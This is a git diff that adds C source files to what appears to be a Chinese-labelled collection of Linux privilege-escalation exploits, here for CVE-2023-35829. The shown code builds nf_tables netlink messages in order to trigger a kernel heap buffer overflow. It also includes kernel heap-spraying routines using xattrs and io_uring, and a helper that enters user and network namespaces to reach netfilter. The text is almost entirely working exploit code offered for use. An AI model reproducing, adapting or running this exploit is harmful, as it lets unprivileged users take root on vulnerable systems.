+    nfgm->res_id = NFNL_SUBSYS_NFTABLES;
+
+    return nlh;
+}
+
+/**
+ * get_batch_end_nlmsg(): Construct a BATCH_END message for the netfilter netlink
+ */
+struct nlmsghdr *get_batch_end_nlmsg(void) {
+
+    struct nlmsghdr *nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg)));
+
+    if (!nlh)
+        do_error_exit("malloc");
+
+    memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg)));
+    nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg));
+    nlh->nlmsg_type = NFNL_MSG_BATCH_END;
+    nlh->nlmsg_pid = getpid();
+    nlh->nlmsg_flags = NLM_F_REQUEST;
+    nlh->nlmsg_seq = 0;
+
+    return nlh;
+}
+
+/**
+ * set_nested_attr(): Prepare a nested netlink attribute
+ * @attr: Attribute to fill
+ * @type: Type of the nested attribute
+ * @data_len: Length of the nested attribute
+ */
+struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len) {
+    attr->nla_type = type;
+    attr->nla_len = NLA_ALIGN(data_len + sizeof(struct nlattr));
+    return (void *)attr + sizeof(struct nlattr);
+}
+
+/**
+ * set_u32_attr(): Prepare an integer netlink attribute
+ * @attr: Attribute to fill
+ * @type: Type of the attribute
+ * @value: Value of this attribute
+ */
+struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value) {
+    attr->nla_type = type;
+    attr->nla_len = U32_NLA_SIZE;
+    *(uint32_t *)NLA_ATTR(attr) = htonl(value);
+
+    return (void *)attr + U32_NLA_SIZE;
+}
+
+ /**
+ * set_u64_attr(): Prepare a 64 bits integer netlink attribute
+ * @attr: Attribute to fill
+ * @type: Type of the attribute
+ * @value: Value of this attribute
+ */
+struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value) {
+    attr->nla_type = type;
+    attr->nla_len = U64_NLA_SIZE;
+    *(uint64_t *)NLA_ATTR(attr) = htobe64(value);
+
+    return (void *)attr + U64_NLA_SIZE;
+}
+
+/**
+ * set_str8_attr(): Prepare a 8 bytes long string netlink attribute
+ * @attr: Attribute to fill
+ * @type: Type of the attribute
+ * @name: Buffer to copy into the attribute
+ */
+struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, const char name[8]) {
+    attr->nla_type = type;
+    attr->nla_len = S8_NLA_SIZE;
+    memcpy(NLA_ATTR(attr), name, 8);
+
+    return (void *)attr + S8_NLA_SIZE;
+}
+
+/**
+ * set_binary_attr(): Prepare a byte array netlink attribute
+ * @attr: Attribute to fill
+ * @type: Type of the attribute
+ * @buffer: Buffer with data to send
+ * @buffer_size: Size of the previous buffer
+ */
+struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size) {
+    attr->nla_type = type;
+    attr->nla_len = NLA_BIN_SIZE(buffer_size);
+    memcpy(NLA_ATTR(attr), buffer, buffer_size);
+
+    return (void *)attr + NLA_ALIGN(NLA_BIN_SIZE(buffer_size));
+}
diff --git a/98-Linux提权/CVE-2023-35829/src/nf_tables.c b/98-Linux提权/CVE-2023-35829/src/nf_tables.c
new file mode 100644
index 0000000..b233e70
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/src/nf_tables.c
@@ -0,0 +1,313 @@
+#include <stdlib.h>
+#include <stdio.h>
+#include <stdint.h>
+#include <unistd.h>
+#include <linux/netfilter.h>
+#include <linux/netfilter/nfnetlink.h>
+#include <linux/netfilter/nf_tables.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <linux/netlink.h>
+#include <string.h>
+
+#include "netlink.h"
+#include "nf_tables.h"
+#include "log.h"
+
+const uint8_t zerobuf[0x40] = {0};
+
+/**
+ * create_table(): Register a new table for the inet family
+ * @sock: socket bound to the netfilter netlink
+ * @name: Name of the new table
+ */
+void create_table(int sock, const char *name) {
+    struct msghdr msg;
+    struct sockaddr_nl dest_snl;
+    struct iovec iov[3];
+    struct nlmsghdr *nlh_batch_begin;
+    struct nlmsghdr *nlh;
+    struct nlmsghdr *nlh_batch_end;
+    struct nlattr *attr;
+    struct nfgenmsg *nfm;
+
+    /* Destination preparation */
+    memset(&dest_snl, 0, sizeof(dest_snl));
+    dest_snl.nl_family = AF_NETLINK;
+    memset(&msg, 0, sizeof(msg));
+
+    /* Netlink batch_begin message preparation */
+    nlh_batch_begin = get_batch_begin_nlmsg();
+
+    /* Netlink table message preparation */
+    nlh = (struct nlmsghdr *)malloc(TABLEMSG_SIZE);
+    if (!nlh)
+        do_error_exit("malloc");
+
+    memset(nlh, 0, TABLEMSG_SIZE);
+    nlh->nlmsg_len = TABLEMSG_SIZE;
+    nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE;
+    nlh->nlmsg_pid = getpid();
+    nlh->nlmsg_flags = NLM_F_REQUEST;
+    nlh->nlmsg_seq = 0;
+
+    nfm = NLMSG_DATA(nlh);
+    nfm->nfgen_family = NFPROTO_INET;
+
+    /** Prepare associated attribute **/
+    attr = (void *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg));
+    set_str8_attr(attr, NFTA_TABLE_NAME, name);
+
+    /* Netlink batch_end message preparation */
+    nlh_batch_end = get_batch_end_nlmsg();
+
+    /* IOV preparation */
+    memset(iov, 0, sizeof(struct iovec) * 3);
+    iov[0].iov_base = (void *)nlh_batch_begin;
+    iov[0].iov_len = nlh_batch_begin->nlmsg_len;
+    iov[1].iov_base = (void *)nlh;
+    iov[1].iov_len = nlh->nlmsg_len;
+    iov[2].iov_base = (void *)nlh_batch_end;
+    iov[2].iov_len = nlh_batch_end->nlmsg_len;
+
+    /* Message header preparation */
+    msg.msg_name = (void *)&dest_snl;
+    msg.msg_namelen = sizeof(struct sockaddr_nl);
+    msg.msg_iov = iov;
+    msg.msg_iovlen = 3;
+
+    sendmsg(sock, &msg, 0);
+
+    /* Free used structures */
+    free(nlh_batch_end);
+    free(nlh);
+    free(nlh_batch_begin);
+}
+
+/**
+ * create_set(): Create a netfilter set
+ * @sock: Socket used to communicate throught the netfilter netlink
+ * @set_name: Name of the created set
+ * @set_keylen: Length of the keys of this set. Used in the exploit to control the used cache
+ * @data_len: Length of stored data. Used to control the size of the overflow
+ * @table_name: Name of the table that stores this set
+ * @id: ID of the created set
+ */
+void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id) {
+    struct msghdr msg;
+    struct sockaddr_nl dest_snl;
+    struct nlmsghdr *nlh_batch_begin;
+    struct nlmsghdr *nlh_payload;
+    struct nlmsghdr *nlh_batch_end;
+    struct nfgenmsg *nfm;
+    struct nlattr *attr;
+    uint64_t nlh_payload_size;
+    struct iovec iov[3];
+
+    /* Prepare the netlink sockaddr for msg */
+    memset(&dest_snl, 0, sizeof(struct sockaddr_nl));
+    dest_snl.nl_family = AF_NETLINK;
+
+    /* First netlink message: batch_begin */
+    nlh_batch_begin = get_batch_begin_nlmsg();
+
+    /* Second netlink message : Set attributes */
+    nlh_payload_size = sizeof(struct nfgenmsg);                                     // Mandatory
+    nlh_payload_size += S8_NLA_SIZE;                                                // NFTA_SET_TABLE
+    nlh_payload_size += S8_NLA_SIZE;                                                // NFTA_SET_NAME
+    nlh_payload_size += U32_NLA_SIZE;                                               // NFTA_SET_ID
+    nlh_payload_size += U32_NLA_SIZE;                                               // NFTA_SET_KEY_LEN
+    nlh_payload_size += U32_NLA_SIZE;                                               // NFTA_SET_FLAGS
+    nlh_payload_size += U32_NLA_SIZE;                                               // NFTA_SET_DATA_TYPE
+    nlh_payload_size += U32_NLA_SIZE;                                               // NFTA_SET_DATA_LEN
+    nlh_payload_size = NLMSG_SPACE(nlh_payload_size);
+
+    /** Allocation **/
+    nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size);
+    if (!nlh_payload)
+        do_error_exit("malloc");
+
+    memset(nlh_payload, 0, nlh_payload_size);
+
+    /** Fill the required fields **/
+    nlh_payload->nlmsg_len = nlh_payload_size;
+    nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET;
+    nlh_payload->nlmsg_pid = getpid();
+    nlh_payload->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
+    nlh_payload->nlmsg_seq = 0;
+
+    
+    /** Setup the nfgenmsg **/
+    nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload);
+    nfm->nfgen_family = NFPROTO_INET;
+
+    /** Setup the attributes */
+    attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg)));
+    attr = set_str8_attr(attr, NFTA_SET_TABLE, table_name);
+    attr = set_str8_attr(attr, NFTA_SET_NAME, set_name);
+    attr = set_u32_attr(attr, NFTA_SET_ID, id);
+    attr = set_u32_attr(attr, NFTA_SET_KEY_LEN, set_keylen);
+    attr = set_u32_attr(attr, NFTA_SET_FLAGS, NFT_SET_MAP);
+    attr = set_u32_attr(attr, NFTA_SET_DATA_TYPE, 0);
+    set_u32_attr(attr, NFTA_SET_DATA_LEN, data_len);
+
+    /* Last netlink message: batch_end */
+    nlh_batch_end = get_batch_end_nlmsg();
+
+    /* Setup the iovec */
+    memset(iov, 0, sizeof(struct iovec) * 3);
+    iov[0].iov_base = (void *)nlh_batch_begin;
+    iov[0].iov_len = nlh_batch_begin->nlmsg_len;
+    iov[1].iov_base = (void *)nlh_payload;
+    iov[1].iov_len = nlh_payload->nlmsg_len;
+    iov[2].iov_base = (void *)nlh_batch_end;
+    iov[2].iov_len = nlh_batch_end->nlmsg_len;
+
+    /* Prepare the message to send */
+    memset(&msg, 0, sizeof(struct msghdr));
+    msg.msg_name = (void *)&dest_snl;
+    msg.msg_namelen = sizeof(struct sockaddr_nl);
+    msg.msg_iov = iov;
+    msg.msg_iovlen = 3;
+
+    /* Send message */
+    sendmsg(sock, &msg, 0);
+
+    /* Free allocated memory */
+    free(nlh_batch_end);
+    free(nlh_payload);
+    free(nlh_batch_begin);
+}
+
+/**
+ * add_elem_to_set(): Trigger the heap buffer overflow
+ * @sock: Socket used to communicate throught the netfilter netlink
+ * @set_name: Name of the set to add the element
+ * @set_keylen: Length of the keys of the previous set
+ * @table_name: Table associated to the preiv
+ * @id: ID of the previous set
+ * @data_len: Length of the data to copy. (= Size of the overflow - 16 )
+ * @data: Data used for the overflow
+ *
+ * Submit two elements to add to the set.
+ * The first one is used to setup the data payload
+ * The second will trigger the overflow
+ */
+void add_elem_to_set(int sock, const char *set_name, uint32_t set_keylen, const char *table_name, uint32_t id, uint32_t data_len, uint8_t *data) {
+    struct msghdr msg;
+    struct sockaddr_nl dest_snl;
+    struct nlmsghdr *nlh_batch_begin;
+    struct nlmsghdr *nlh_payload;
+    struct nlmsghdr *nlh_batch_end;
+    struct nfgenmsg *nfm;
+    struct nlattr *attr;
+    uint64_t nlh_payload_size;
+    uint64_t nested_attr_size;
+    size_t first_element_size;
+    size_t second_element_size;
+    struct iovec iov[3];
+
+    /* Prepare the netlink sockaddr for msg */
+    memset(&dest_snl, 0, sizeof(struct sockaddr_nl));
+    dest_snl.nl_family = AF_NETLINK;
+
+    /* First netlink message: batch */
+    nlh_batch_begin = get_batch_begin_nlmsg();
+
+    /* Second netlink message : Set attributes */
+
+    /** Precompute the size of the nested field **/
+    nested_attr_size = 0;
+
+    /*** First element ***/
+    nested_attr_size += sizeof(struct nlattr);                                      // Englobing attribute
+    nested_attr_size += sizeof(struct nlattr);                                      // NFTA_SET_ELEM_KEY
+    nested_attr_size += NLA_BIN_SIZE(set_keylen);                                   // NFTA_DATA_VALUE
+    nested_attr_size += sizeof(struct nlattr);                                      // NFTA_SET_ELEM_DATA
+    nested_attr_size += NLA_ALIGN(NLA_BIN_SIZE(data_len));                          // NFTA_DATA_VALUE
+    first_element_size = nested_attr_size;
+
+    /*** Second element ***/
+    nested_attr_size += sizeof(struct nlattr);                                      // Englobing attribute
+    nested_attr_size += sizeof(struct nlattr);                                      // NFTA_SET_ELEM_KEY
+    nested_attr_size += NLA_BIN_SIZE(set_keylen);                                   // NFTA_DATA_VALUE
+    nested_attr_size += sizeof(struct nlattr);                                      // NFTA_SET_ELEM_DATA
+    nested_attr_size += sizeof(struct nlattr);                                      // NFTA_DATA_VERDICT
+    nested_attr_size += U32_NLA_SIZE;                                               // NFTA_VERDICT_CODE
+    second_element_size = nested_attr_size - first_element_size;
+
+    nlh_payload_size = sizeof(struct nfgenmsg);                                     // Mandatory
+    nlh_payload_size += sizeof(struct nlattr);                                      // NFTA_SET_ELEM_LIST_ELEMENTS
+    nlh_payload_size += nested_attr_size;                                           // All the stuff described above
+    nlh_payload_size += S8_NLA_SIZE;                                                // NFTA_SET_ELEM_LIST_TABLE
+    nlh_payload_size += S8_NLA_SIZE;                                                // NFTA_SET_ELEM_LIST_SET
+    nlh_payload_size += U32_NLA_SIZE;                                               // NFTA_SET_ELEM_LIST_SET_ID
+    nlh_payload_size = NLMSG_SPACE(nlh_payload_size);
+
+    /** Allocation **/
+    nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size);
+    if (!nlh_payload) {
+        do_error_exit("malloc");
+    }
+    memset(nlh_payload, 0, nlh_payload_size);
+
+    /** Fill the required fields **/
+    nlh_payload->nlmsg_len = nlh_payload_size;
+    nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSETELEM;
+    nlh_payload->nlmsg_pid = getpid();
+    nlh_payload->nlmsg_flags = NLM_F_REQUEST;
+    nlh_payload->nlmsg_seq = 0;
+
+    /** Setup the nfgenmsg **/
+    nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload);
+    nfm->nfgen_family = NFPROTO_INET;
+
+    /** Setup the attributes */
+    attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg)));
+    attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_TABLE, table_name);
+    attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_SET, set_name);
+    attr = set_u32_attr(attr, NFTA_SET_ELEM_LIST_SET_ID, id);
+    attr = set_nested_attr(attr, NFTA_SET_ELEM_LIST_ELEMENTS, nested_attr_size);
+
+    /*** First element ***/
+    attr = set_nested_attr(attr, 0, first_element_size - 4);
+    attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen));
+    attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen);
+    attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, NLA_BIN_SIZE(data_len));
+    attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)data, data_len);
+
+    /*** Second element ***/
+    attr = set_nested_attr(attr, 0, second_element_size - 4);
+    attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen));
+    attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen);
+    attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, U32_NLA_SIZE + sizeof(struct nlattr));
+    attr = set_nested_attr(attr, NFTA_DATA_VERDICT, U32_NLA_SIZE);
+    set_u32_attr(attr, NFTA_VERDICT_CODE, NFT_CONTINUE);
+
+    /* Last netlink message: End of batch */
+    nlh_batch_end = get_batch_end_nlmsg();
+
+    /* Setup the iovec */
+    memset(iov, 0, sizeof(struct iovec) * 3);
+    iov[0].iov_base = (void *)nlh_batch_begin;
+    iov[0].iov_len = nlh_batch_begin->nlmsg_len;
+    iov[1].iov_base = (void *)nlh_payload;
+    iov[1].iov_len = nlh_payload->nlmsg_len;
+    iov[2].iov_base = (void *)nlh_batch_end;
+    iov[2].iov_len = nlh_batch_end->nlmsg_len;
+
+    /* Prepare the message to send */
+    memset(&msg, 0, sizeof(struct msghdr));
+    msg.msg_name = (void *)&dest_snl;
+    msg.msg_namelen = sizeof(struct sockaddr_nl);
+    msg.msg_iov = iov;
+    msg.msg_iovlen = 3;
+
+    /* Send message */
+    sendmsg(sock, &msg, 0);
+
+    /* Free allocated memory */
+    free(nlh_batch_end);
+    free(nlh_payload);
+    free(nlh_batch_begin);
+}
diff --git a/98-Linux提权/CVE-2023-35829/src/simple_xattr.c b/98-Linux提权/CVE-2023-35829/src/simple_xattr.c
new file mode 100644
index 0000000..1c4f0e1
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/src/simple_xattr.c
@@ -0,0 +1,50 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <sys/xattr.h>
+#include <sys/stat.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/mount.h>
+#include "log.h"
+#include "simple_xattr.h"
+
+/**
+ * spray_simple_xattr(): Spray the heap with `simple_xattr` objects
+ * @spray_size: Number of objects to put into `kmalloc-64`
+ */
+void spray_simple_xattr(char *filename, uint32_t spray_size) {
+
+    char attribute_name[ATTRIBUTE_NAME_LEN];
+
+    /* Mount a new tmpfs to be able to set security xattr */
+    if (mkdir("/tmp/tmpfs", S_IRWXU) == -1 && errno != EEXIST)
+		do_error_exit("mkdir");
+
+    if (mount(NULL, "/tmp/tmpfs", "tmpfs", 0, NULL) == -1)
+    {
+		do_error_exit("mount");
+	}
+    /* Create a file to the set attributes */
+    int fd = creat(filename, 0644);
+    close(fd);
+
+    for (uint64_t i = 0; i < spray_size; i++) {
+        /* Need that the name is allocated within `kmalloc-256` */
+        snprintf(attribute_name, ATTRIBUTE_NAME_LEN, "security.attr%215lu-%s", i, XATTR_DELETION_NAME);
+        create_xattr(filename, attribute_name);
+    }
+}
+
+/**
+ * create_xattr(): Add an xattribute to a file with the value "value"
+ * @filename: Name of the concerned file
+ * @attribute_name: Attribute name
+ */
+void create_xattr(const char *filename, char *attribute_name) {
+
+    if (setxattr(filename, attribute_name, XATTR_VALUE, strlen(XATTR_VALUE), XATTR_CREATE) < 0)
+        do_error_exit("setxattr");
+}
diff --git a/98-Linux提权/CVE-2023-35829/src/uring.c b/98-Linux提权/CVE-2023-35829/src/uring.c
new file mode 100644
index 0000000..1f8e3d6
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/src/uring.c
@@ -0,0 +1,46 @@
+#include <stdio.h>
+#include <stdint.h>
+#include <string.h>
+#include <unistd.h>
+#include <syscall.h>
+#include <linux/io_uring.h>
+
+#include "uring.h"
+#include "log.h"
+#include "util.h"
+
+/**
+ * spray_uring(): Spray different caches of the kernel heap
+ * @spray_size: Size to spray
+ * @fd_buffer: Buffer used to store information about the allocated objects
+ *
+ * This spray is mainly used to spray the cache `kmalloc-64` with `percpu_ref_data` objects
+ */
+void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer) {
+
+    for (uint64_t i = 0; i < spray_size; i++) {
+
+        fd_buffer[i].params = malloc(sizeof(struct io_uring_params));
+        if (!fd_buffer[i].params)
+            do_error_exit("malloc");
+        memset(fd_buffer[i].params, 0, sizeof(struct io_uring_params));
+
+        fd_buffer[i].fd = io_uring_setup(SPRAY_NB_ENTRIES, fd_buffer[i].params);
+        if (fd_buffer[i].fd < 0)
+            do_error_exit("io_uring_create");
+
+    }
+}
+
+/**
+ * release_uring(): Release percpu_ref_data objects allocated
+ * @fd_buffer: Buffer that stores io_ring_ctx fds
+ * @buffer_size: Size of the previous buffer
+ */
+void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size) {
+
+    for (uint32_t i = 0; i < buffer_size; i++) {
+        close(fd_buffer[i].fd);
+    }
+    free(fd_buffer);
+}
diff --git a/98-Linux提权/CVE-2023-35829/src/util.c b/98-Linux提权/CVE-2023-35829/src/util.c
new file mode 100644
index 0000000..2cee577
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/src/util.c
@@ -0,0 +1,80 @@
+#define _GNU_SOURCE
+#include <stdint.h>
+#include <stdlib.h>
+#include <sched.h>
+#include <stdio.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <string.h>
+#include <sys/utsname.h>
+
+#include "log.h"
+#include "util.h"
+
+/**
+ * write_file(): Write a string into a file
+ * @filename: File to write
+ * @text: Text to write
+ */
+void write_file(const char *filename, char *text) {
+
+    int fd = open(filename, O_RDWR);
+
+    write(fd, text, strlen(text));
+    close(fd);
+}
+
+/**
+ * new_ns(): Change the current namespace to access to netfilter and
+ * to be able to write security xattr in a tmpfs
+ */
+void new_ns(void) {
+
+    uid_t uid = getuid();
+    gid_t gid = getgid();
+    char buffer[0x100];
+
+    if (unshare(CLONE_NEWUSER | CLONE_NEWNS))
+        do_error_exit("unshare(CLONE_NEWUSER | CLONE_NEWNS)");
+
+    if (unshare(CLONE_NEWNET))
+        do_error_exit("unshare(CLONE_NEWNET)");
+    
+    write_file("/proc/self/setgroups", "deny");
+
+    snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
+    write_file("/proc/self/uid_map", buffer);
+    snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
+    write_file("/proc/self/gid_map", buffer);
+}
+
+/**
+ * set_cpu_affinity(): Pin a process to a CPU
+ * @cpu_n: CPU to use
+ * @pid: pid of the process to attach
+ */
+void set_cpu_affinity(int cpu_n, pid_t pid) {
+    cpu_set_t set;
+
+    CPU_ZERO(&set);
+    CPU_SET(cpu_n, &set);
+
+    if (sched_setaffinity(pid, sizeof(set), &set) < 0)
+        do_error_exit("sched_setaffinity");
+}
+
+/**
+ * generate_tmp_filename(): Generate a filename to be used with
+ *  the xattr spray
+ *
+ * Return: New generated filename
+ */
+char *generate_tmp_filename(void) {
+    static char buffer[FILENAME_MAX_LEN];
+    static uint64_t counter = 0;
+
+    snprintf(buffer, FILENAME_MAX_LEN, "/tmp/tmpfs/file%lu", counter);
+    counter++;
+
+    return buffer;
+}